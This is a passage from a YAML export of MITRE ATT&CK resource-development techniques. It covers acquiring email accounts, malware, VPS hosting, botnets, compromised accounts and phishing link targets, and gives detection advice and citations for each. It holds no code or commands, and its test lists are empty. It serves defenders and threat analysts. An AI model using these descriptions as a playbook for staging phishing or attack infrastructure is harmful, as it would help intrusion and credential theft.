object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1585.002: technique: modified: '2024-02-28T21:11:27.088Z' name: Email Accounts description: "Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Establishing email accounts may also allow adversaries to abuse free services – such as trial periods – to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for follow-on purposes.(Citation: Free Trial PurpleUrchin)\n\nAdversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_deprecated: false x_mitre_detection: 'Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.1' type: attack-pattern id: attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a created: '2020-10-01T01:09:53.217Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1585/002 external_id: T1585.002 - source_name: Trend Micro R980 2016 description: Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 2020. url: https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/ - source_name: Free Trial PurpleUrchin description: Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024. url: https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/ - source_name: Mandiant APT1 description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016. url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1588.001: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970 type: attack-pattern created: '2020-10-01T02:06:11.499Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1588.001 url: https://attack.mitre.org/techniques/T1588/001 - source_name: FireEyeSupplyChain description: 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.' url: https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop modified: '2022-04-25T14:00:00.188Z' name: Malware description: |- Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |- Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Malware Repository: Malware Metadata' - 'Malware Repository: Malware Content' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1583.003: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795 type: attack-pattern created: '2020-10-01T00:44:23.935Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1583.003 url: https://attack.mitre.org/techniques/T1583/003 - source_name: TrendmicroHideoutsLease description: 'Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.' url: https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf - source_name: ThreatConnect Infrastructure Dec 2020 url: https://threatconnect.com/blog/infrastructure-research-hunting/ description: 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.' - source_name: Mandiant SCANdalous Jul 2020 url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation description: Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021. - source_name: Koczwara Beacon Hunting Sep 2021 url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021. modified: '2022-04-25T14:00:00.188Z' name: Virtual Private Server description: |- Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure. Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |- Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Internet Scan: Response Content' - 'Internet Scan: Response Metadata' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1584: technique: modified: '2024-03-28T03:53:28.299Z' name: Compromise Infrastructure description: |- Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking) By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_contributors: - Jeremy Galloway - Shailesh Tiwary (Indian Army) - Goldstein Menachem x_mitre_deprecated: false x_mitre_detection: "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. \n\nOnce adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - PRE x_mitre_version: '1.5' x_mitre_data_sources: - 'Internet Scan: Response Content' - 'Domain Name: Domain Registration' - 'Domain Name: Active DNS' - 'Domain Name: Passive DNS' - 'Internet Scan: Response Metadata' type: attack-pattern id: attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9 created: '2020-10-01T00:36:30.759Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1584 external_id: T1584 - source_name: amnesty_nso_pegasus description: 'Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group’s Pegasus. Retrieved February 22, 2022.' url: https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/ - source_name: Sysdig Proxyjacking description: Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023. url: https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/ - source_name: FireEye DNS Hijack 2019 description: 'Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.' url: https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html - source_name: ICANNDomainNameHijacking description: 'ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.' url: https://www.icann.org/groups/ssac/documents/sac-007-en - source_name: Koczwara Beacon Hunting Sep 2021 description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021. url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 - source_name: Mandiant APT1 description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016. url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf - source_name: Talos DNSpionage Nov 2018 description: Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020. url: https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html - source_name: NSA NCSC Turla OilRig description: 'NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.' url: https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf - source_name: Mandiant SCANdalous Jul 2020 description: Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021. url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation - source_name: ThreatConnect Infrastructure Dec 2020 description: 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.' url: https://threatconnect.com/blog/infrastructure-research-hunting/ - source_name: FireEye EPS Awakens Part 2 description: Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016. url: https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1586: technique: modified: '2023-05-09T14:00:00.188Z' name: Compromise Accounts description: "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566)." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_deprecated: false x_mitre_detection: |- Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - PRE x_mitre_version: '1.2' x_mitre_data_sources: - 'Persona: Social Media' - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a created: '2020-10-01T01:17:15.965Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1586 external_id: T1586 - source_name: AnonHBGary description: 'Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.' url: https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/ - source_name: Microsoft DEV-0537 description: Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022. url: https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1584.005: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3 created: '2020-10-01T00:58:35.269Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1584.005 url: https://attack.mitre.org/techniques/T1584/005 - source_name: Dell Dridex Oct 2015 url: https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation description: Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019. - source_name: Imperva DDoS for Hire url: https://www.imperva.com/learn/ddos/booters-stressers-ddosers/ description: Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020. - source_name: Norton Botnet url: https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html description: Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020. x_mitre_deprecated: false revoked: false description: 'Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).' modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Botnet x_mitre_detection: Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_is_subtechnique: true x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1608: technique: modified: '2022-10-19T22:01:05.551Z' name: Stage Capabilities description: |- Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing) Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox) * Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) * Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020) * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: |- If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors. x_mitre_platforms: - PRE x_mitre_is_subtechnique: false x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.2' x_mitre_data_sources: - 'Internet Scan: Response Content' type: attack-pattern id: attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0 created: '2021-03-17T20:04:09.331Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1608 external_id: T1608 - source_name: Volexity Ocean Lotus November 2020 description: 'Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.' url: https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/ - source_name: Netskope GCP Redirection description: Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022. url: https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection - source_name: Netskope Cloud Phishing description: 'Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.' url: https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service - source_name: ATT ScanBox description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.' url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks - source_name: DigiCert Install SSL Cert description: DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021. url: https://www.digicert.com/kb/ssl-certificate-installation.htm - source_name: Gallagher 2015 description: Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016. url: http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/ - source_name: Malwarebytes Heroku Skimmers description: 'Jérôme Segura. (2019, December 4). There''s an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.' url: https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku - source_name: Dragos Heroku Watering Hole description: 'Kent Backman. (2021, May 18). When Intrusions Don’t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.' url: https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/ - source_name: FireEye CFR Watering Hole 2012 description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020. url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html - source_name: Malwarebytes Silent Librarian October 2020 description: Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021. url: https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/ - source_name: Proofpoint TA407 September 2019 description: 'Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.' url: https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1608.005: technique: modified: '2024-04-13T14:03:24.673Z' name: Link Target description: "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\n\nLinks can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.(Citation: Kaspersky-masking)(Citation: mandiant-masking)\n\nAdversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing)(Citation: Cofense-redirect) In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs.(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_contributors: - Goldstein Menachem - Hen Porcilan - Diyar Saadi Ali - Nikola Kovac x_mitre_deprecated: false x_mitre_detection: |- If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.4' x_mitre_data_sources: - 'Internet Scan: Response Content' type: attack-pattern id: attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701 created: '2021-03-17T20:35:08.429Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1608/005 external_id: T1608.005 - source_name: Netskope GCP Redirection description: Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022. url: https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection - source_name: Netskope Cloud Phishing description: 'Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.' url: https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service - source_name: URI Unique description: Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024. url: https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF - source_name: Kaspersky-masking description: Dedenok, Roman. (2023, December 12). How cybercriminals disguise URLs. Retrieved January 17, 2024. url: https://www.kaspersky.com/blog/malicious-redirect-methods/50045/ - source_name: Talos IPFS 2022 description: 'Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.' url: https://blog.talosintelligence.com/ipfs-abuse/ - source_name: Malwarebytes Silent Librarian October 2020 description: Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021. url: https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/ - source_name: URI description: Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024. url: https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits - source_name: URI Use description: Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024. url: https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf - source_name: iOS URL Scheme description: Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024. url: https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html - source_name: Intezer App Service Phishing description: Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 